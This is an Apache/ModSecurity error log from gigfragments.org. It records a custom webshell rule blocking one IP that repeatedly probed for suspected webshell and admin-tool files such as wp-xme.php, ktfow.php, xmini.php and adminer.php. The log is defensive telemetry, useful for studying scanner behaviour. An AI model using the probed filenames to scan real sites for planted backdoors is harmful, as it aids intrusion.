[Thu Apr 23 16:13:06.120143 2026] [:error] [pid 42972:tid 43032] [client 20.216.153.175:35789] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ref.php"] [unique_id "aenUksOAb-3sOknsk4fH1wAAAFA"]
[Thu Apr 23 16:13:06.848419 2026] [:error] [pid 43083:tid 43100] [client 20.216.153.175:19783] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ref.php"] [unique_id "aenUkjC5hrvNXosL83JR_QAAAM8"]
[Thu Apr 23 16:13:06.869852 2026] [:error] [pid 43083:tid 43105] [client 20.216.153.175:35790] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/adminer.php"] [unique_id "aenUkjC5hrvNXosL83JR_gAAANQ"]
[Thu Apr 23 16:13:07.590882 2026] [:error] [pid 42972:tid 43023] [client 20.216.153.175:33924] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/adminer.php"] [unique_id "aenUk8OAb-3sOknsk4fH2wAAAEc"]
[Thu Apr 23 16:13:07.713770 2026] [:error] [pid 42972:tid 43035] [client 20.216.153.175:35816] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-xme.php"] [unique_id "aenUk8OAb-3sOknsk4fH3AAAAFM"]
[Thu Apr 23 16:13:08.411904 2026] [:error] [pid 64998:tid 65019] [client 20.216.153.175:37239] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/adminer.php"] [unique_id "aenUlIV5EysYcTLjmwjqkgAAAdE"]
[Thu Apr 23 16:13:08.511150 2026] [:error] [pid 64967:tid 64970] [client 20.216.153.175:52535] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-xme.php"] [unique_id "aenUlIAV4GfOOdX8QzpX6wAAAYE"]
[Thu Apr 23 16:13:09.219170 2026] [:error] [pid 64998:tid 65012] [client 20.216.153.175:44371] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ktfow.php"] [unique_id "aenUlYV5EysYcTLjmwjqlAAAAco"]
[Thu Apr 23 16:13:09.224016 2026] [:error] [pid 65000:tid 65030] [client 20.216.153.175:19810] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-xme.php"] [unique_id "aenUlb6vRb9j6psK2Za8uQAAAgE"]
[Thu Apr 23 16:13:09.997072 2026] [:error] [pid 42972:tid 43020] [client 20.216.153.175:45048] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ktfow.php"] [unique_id "aenUlcOAb-3sOknsk4fH5AAAAEQ"]
[Thu Apr 23 16:13:10.096812 2026] [:error] [pid 64998:tid 65009] [client 20.216.153.175:31723] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-xme.php"] [unique_id "aenUloV5EysYcTLjmwjqlgAAAcc"]
[Thu Apr 23 16:13:10.867504 2026] [:error] [pid 42972:tid 43035] [client 20.216.153.175:63603] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/adminer.php"] [unique_id "aenUlsOAb-3sOknsk4fH6AAAAFM"]
[Thu Apr 23 16:13:10.893066 2026] [:error] [pid 42972:tid 43034] [client 20.216.153.175:19254] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ktfow.php"] [unique_id "aenUlsOAb-3sOknsk4fH6QAAAFI"]
[Thu Apr 23 16:13:11.539445 2026] [:error] [pid 42973:tid 43050] [client 20.216.153.175:33572] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/adminer.php"] [unique_id "aenUl26I0QqmmmLTHE3DOAAAAIc"]
[Thu Apr 23 16:13:11.730523 2026] [:error] [pid 46953:tid 46958] [client 20.216.153.175:33964] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ktfow.php"] [unique_id "aenUl0nlpdHh-P6wKboGHQAAAkI"]
[Thu Apr 23 16:13:12.289284 2026] [:error] [pid 42973:tid 43067] [client 20.216.153.175:19827] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/adminer.php"] [unique_id "aenUmG6I0QqmmmLTHE3DgwAAAJg"]
[Thu Apr 23 16:13:12.629770 2026] [:error] [pid 25635:tid 25663] [client 20.216.153.175:51878] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/mode.php"] [unique_id "aenUmMRxv6UsgRGKB3IdcAAAARg"]
[Thu Apr 23 16:13:12.987706 2026] [:error] [pid 42972:tid 43039] [client 20.216.153.175:37204] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/adminer.php"] [unique_id "aenUmMOAb-3sOknsk4fIWAAAAFc"]
[Thu Apr 23 16:13:13.676537 2026] [:error] [pid 42972:tid 43039] [client 20.216.153.175:45089] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/mode.php"] [unique_id "aenUmcOAb-3sOknsk4fIbQAAAFc"]
[Thu Apr 23 16:13:13.957560 2026] [:error] [pid 42971:tid 43000] [client 20.216.153.175:63661] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ktfow.php"] [unique_id "aenUmTEP2_5RswrH8bEK-AAAAA4"]
[Thu Apr 23 16:13:14.618838 2026] [:error] [pid 42972:tid 43031] [client 20.216.153.175:6132] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ktfow.php"] [unique_id "aenUmsOAb-3sOknsk4fIcgAAAE8"]
[Thu Apr 23 16:13:14.815192 2026] [:error] [pid 65000:tid 65055] [client 20.216.153.175:63633] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/mode.php"] [unique_id "aenUmr6vRb9j6psK2Za8vQAAAhY"]
[Thu Apr 23 16:13:15.629438 2026] [:error] [pid 59700:tid 59706] [client 20.216.153.175:52531] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ktfow.php"] [unique_id "aenUm5XyGZJFeAIDWtnoWgAAAUQ"]
[Thu Apr 23 16:13:15.965210 2026] [:error] [pid 42972:tid 43030] [client 20.216.153.175:26034] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/mode.php"] [unique_id "aenUm8OAb-3sOknsk4fIegAAAE4"]
[Thu Apr 23 16:13:16.379463 2026] [:error] [pid 64998:tid 65017] [client 20.216.153.175:40544] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ktfow.php"] [unique_id "aenUnIV5EysYcTLjmwjqoAAAAc8"]
[Thu Apr 23 16:13:16.639340 2026] [:error] [pid 42973:tid 43060] [client 20.216.153.175:16604] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/Xx.php"] [unique_id "aenUnG6I0QqmmmLTHE3DjwAAAJE"]
[Thu Apr 23 16:13:17.444116 2026] [:error] [pid 59700:tid 59726] [client 20.216.153.175:5590] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/mode.php"] [unique_id "aenUnZXyGZJFeAIDWtnoXAAAAVg"]
[Thu Apr 23 16:13:18.307038 2026] [:error] [pid 42972:tid 43029] [client 20.216.153.175:45035] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/mode.php"] [unique_id "aenUnsOAb-3sOknsk4fIhwAAAE0"]
[Thu Apr 23 16:13:18.313650 2026] [:error] [pid 42972:tid 43017] [client 20.216.153.175:52521] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/Xx.php"] [unique_id "aenUnsOAb-3sOknsk4fIiAAAAEE"]
[Thu Apr 23 16:13:19.160970 2026] [:error] [pid 42972:tid 43040] [client 20.216.153.175:40518] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/mode.php"] [unique_id "aenUn8OAb-3sOknsk4fIjgAAAFg"]
[Thu Apr 23 16:13:20.156589 2026] [:error] [pid 42972:tid 43031] [client 20.216.153.175:51363] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/Xx.php"] [unique_id "aenUoMOAb-3sOknsk4fIkwAAAE8"]
[Thu Apr 23 16:13:20.607053 2026] [:error] [pid 42972:tid 43022] [client 20.216.153.175:45037] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/mode.php"] [unique_id "aenUoMOAb-3sOknsk4fIlgAAAEY"]
[Thu Apr 23 16:13:21.647843 2026] [:error] [pid 42971:tid 42995] [client 20.216.153.175:34279] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/Xx.php"] [unique_id "aenUoTEP2_5RswrH8bEK-gAAAAk"]
[Thu Apr 23 16:13:21.783273 2026] [:error] [pid 64998:tid 65003] [client 20.216.153.175:5752] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/Xx.php"] [unique_id "aenUoYV5EysYcTLjmwjqpgAAAcE"]
[Thu Apr 23 16:13:22.552916 2026] [:error] [pid 64998:tid 65012] [client 20.216.153.175:48463] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/Xx.php"] [unique_id "aenUooV5EysYcTLjmwjqpwAAAco"]
[Thu Apr 23 16:13:23.041123 2026] [:error] [pid 64998:tid 65004] [client 20.216.153.175:32991] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xmini.php"] [unique_id "aenUo4V5EysYcTLjmwjqqAAAAcI"]
[Thu Apr 23 16:13:23.287375 2026] [:error] [pid 59700:tid 59707] [client 20.216.153.175:45000] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/Xx.php"] [unique_id "aenUo5XyGZJFeAIDWtnoXQAAAUU"]
[Thu Apr 23 16:13:24.138690 2026] [:error] [pid 42973:tid 43048] [client 20.216.153.175:5596] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xmini.php"] [unique_id "aenUpG6I0QqmmmLTHE3DkwAAAIU"]
[Thu Apr 23 16:13:24.295351 2026] [:error] [pid 64998:tid 65024] [client 20.216.153.175:42937] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/Xx.php"] [unique_id "aenUpIV5EysYcTLjmwjqqQAAAdY"]
[Thu Apr 23 16:13:25.332519 2026] [:error] [pid 65000:tid 65057] [client 20.216.153.175:30364] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xmini.php"] [unique_id "aenUpb6vRb9j6psK2Za8xAAAAhg"]
[Thu Apr 23 16:13:26.133107 2026] [:error] [pid 42973:tid 43047] [client 20.216.153.175:5606] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xmini.php"] [unique_id "aenUpm6I0QqmmmLTHE3DlgAAAIQ"]
[Thu Apr 23 16:13:27.064213 2026] [:error] [pid 64998:tid 65022] [client 20.216.153.175:30378] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xmini.php"] [unique_id "aenUp4V5EysYcTLjmwjqrgAAAdQ"]
[Thu Apr 23 16:13:28.257680 2026] [:error] [pid 42972:tid 43022] [client 20.216.153.175:34260] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xmini.php"] [unique_id "aenUqMOAb-3sOknsk4fIpAAAAEY"]
[Thu Apr 23 16:13:29.832640 2026] [:error] [pid 42972:tid 43034] [client 20.216.153.175:33003] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xmini.php"] [unique_id "aenUqcOAb-3sOknsk4fIqgAAAFI"]
[Thu Apr 23 16:13:38.097624 2026] [autoindex:error] [pid 43083:tid 43092] [client 20.216.153.175:27387] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 16:13:39.093861 2026] [autoindex:error] [pid 65000:tid 65041] [client 20.216.153.175:56513] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 16:13:51.111946 2026] [:error] [pid 43083:tid 43109] [client 20.216.153.175:27387] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aenUvzC5hrvNXosL83JSCQAAANg"]
[Thu Apr 23 16:13:51.192232 2026] [:error] [pid 65000:tid 65050] [client 20.216.153.175:51356] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/themes.php"] [unique_id "aenUv76vRb9j6psK2Za9AAAAAhE"]
[Thu Apr 23 16:13:52.178640 2026] [:error] [pid 42972:tid 43019] [client 20.216.153.175:11457] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aenUwMOAb-3sOknsk4fIyAAAAEM"]
[Thu Apr 23 16:13:52.193091 2026] [:error] [pid 42972:tid 43023] [client 20.216.153.175:15921] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/themes.php"] [unique_id "aenUwMOAb-3sOknsk4fIyQAAAEc"]
[Thu Apr 23 16:13:52.973979 2026] [:error] [pid 65000:tid 65032] [client 20.216.153.175:34668] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aenUwL6vRb9j6psK2Za9BAAAAgM"]
[Thu Apr 23 16:13:52.998730 2026] [:error] [pid 42971:tid 42996] [client 20.216.153.175:57973] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/themes.php"] [unique_id "aenUwDEP2_5RswrH8bELDAAAAAo"]
[Thu Apr 23 16:13:53.753009 2026] [:error] [pid 42971:tid 43003] [client 20.216.153.175:15880] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aenUwTEP2_5RswrH8bELDQAAABE"]
[Thu Apr 23 16:13:53.754185 2026] [:error] [pid 64998:tid 65020] [client 20.216.153.175:15039] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/themes.php"] [unique_id "aenUwYV5EysYcTLjmwjq7AAAAdI"]
[Thu Apr 23 16:13:54.071319 2026] [:error] [pid 64998:tid 65024] [client 20.216.153.175:41911] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ewp.php"] [unique_id "aenUwoV5EysYcTLjmwjq7wAAAdY"]
[Thu Apr 23 16:13:54.869582 2026] [:error] [pid 42973:tid 43065] [client 20.216.153.175:57941] [client 20.216.153.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ewp.php"] [unique_id "aenUwm6I0QqmmmLTHE3DzwAAAJY"]
